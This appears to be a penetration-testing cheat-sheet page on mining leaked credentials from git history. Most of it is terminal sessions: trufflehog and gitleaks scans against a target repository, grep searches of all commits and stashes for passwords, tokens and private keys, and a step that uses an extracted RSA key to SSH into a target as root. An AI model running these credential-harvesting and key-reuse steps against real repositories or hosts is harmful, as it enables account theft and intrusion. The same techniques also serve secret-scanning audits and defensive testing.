Skip to content
HackIndex logo

HackIndex

Git History Secret Mining

3 min read Apr 4, 2026

Git history retains every version of every file ever committed — including credentials deleted last week, tokens rotated last month, and passwords removed years ago. Secret mining scans the complete commit graph across all branches and tags, not just the current working tree. Even a clean repository head can have a rich history of secrets. Run this after cloning the full repository with all branches via repository cloning.

Automated Scanning with trufflehog

trufflehog scans every commit across all branches for high-entropy strings and known secret patterns:

┌──(kali㉿kali)-[~]
└─$ # Scan directly from the git:// URL without cloning first
┌──(kali㉿kali)-[~]
└─$ trufflehog git git://$TARGET_IP/repo.git
Found verified result 🐷🔑
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAIOSFODNN7EXAMPLE
Commit: b2c3d4e5f6
Filename: config/aws.yml
Line: 3
┌──(kali㉿kali)-[~]
└─$ # Scan a locally cloned repo
┌──(kali㉿kali)-[~]
└─$ trufflehog git file:///tmp/git_loot/repo --json | tee /tmp/trufflehog_results.json

Scan with gitleaks

gitleaks is faster on large repositories and has good rule coverage for common secret types:

┌──(kali㉿kali)-[~]
└─$ gitleaks detect --source /tmp/git_loot/repo --report-format json --report-path /tmp/gitleaks_results.json
┌──(kali㉿kali)-[~]
└─$ cat /tmp/gitleaks_results.json | python3 -m json.tool | grep -iE 'secret|match|file|commit'
"Secret": "SuperSecret123!",
"File": ".env",
"Commit": "a1b2c3d4",
"Match": "DB_PASSWORD=SuperSecret123!"

Manual Search Through All Commits

When automated tools miss things or you want targeted searches, use git log to search commit content directly:

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot/repo
┌──(kali㉿kali)-[~]
└─$ # Search all commit diffs for password patterns
┌──(kali㉿kali)-[~]
└─$ git log -p --all | grep -iE '(password|passwd|secret|api_key|token|credential)[[:space:]]*[=:][[:space:]]*.{4,}' | grep -v '^---\|^+++' | head -30
+DB_PASSWORD=OldP@ssword2023!
+API_TOKEN=sk-prod-oldkey123
-DB_PASSWORD=OldP@ssword2023!
+DB_PASSWORD=NewP@ssword2024!
┌──(kali㉿kali)-[~]
└─$ # Find commits that modified specific sensitive files
┌──(kali㉿kali)-[~]
└─$ git log --all --oneline -- .env '*.key' '*.pem' 'config/database*'
a1b2c3d fix: remove hardcoded API key from .env
b2c3d4e add production database credentials
c3d4e5f initial commit
┌──(kali㉿kali)-[~]
└─$ # View what a specific commit changed
┌──(kali㉿kali)-[~]
└─$ git show a1b2c3d
commit a1b2c3d...
-API_KEY=sk-prod-xK2aB1cD3eF4gH5i
+API_KEY=REDACTED

Check Stashes

Developers sometimes stash work-in-progress changes that contain incomplete or experimental credentials — stashes are included in the repo object store and cloned with the repository:

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot/repo
┌──(kali㉿kali)-[~]
└─$ git stash list
stash@{0}: WIP on develop: testing new API key
stash@{1}: WIP on main: temp credentials for debug
┌──(kali㉿kali)-[~]
└─$ git stash show -p stash@{0}
+API_KEY=sk-test-newkeyABC123
+DEBUG_PASSWORD=tempP@ss!

Search for Private Keys

┌──(kali㉿kali)-[~]
└─$ cd /tmp/git_loot/repo
┌──(kali㉿kali)-[~]
└─$ git log -p --all | grep -A2 'BEGIN.*PRIVATE KEY\|BEGIN RSA\|BEGIN EC'
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEA...
┌──(kali㉿kali)-[~]
└─$ # Extract and test any found private key
┌──(kali㉿kali)-[~]
└─$ git show <commit>:.ssh/id_rsa > /tmp/found_key.pem
┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/found_key.pem
┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/found_key.pem root@$TARGET_IP 'id' 2>/dev/null
uid=0(root) gid=0(root) groups=0(root)

Full Automated Sweep

Combine multiple searches in one pass across all cloned repositories:

┌──(kali㉿kali)-[~]
└─$ for repo_dir in /tmp/git_loot/*/; do
echo "=== $(basename $repo_dir) ==="
cd "$repo_dir"
git log -p --all 2>/dev/null | grep -iE '^\+(password|secret|api.?key|token|aws_|private).*=.{6,}' | sort -u | head -20
done
=== repo ===
+DB_PASSWORD=SuperSecret123!
+AWS_SECRET_ACCESS_KEY=wJalr...
=== webapp ===
+STRIPE_KEY=sk_live_abc123...

References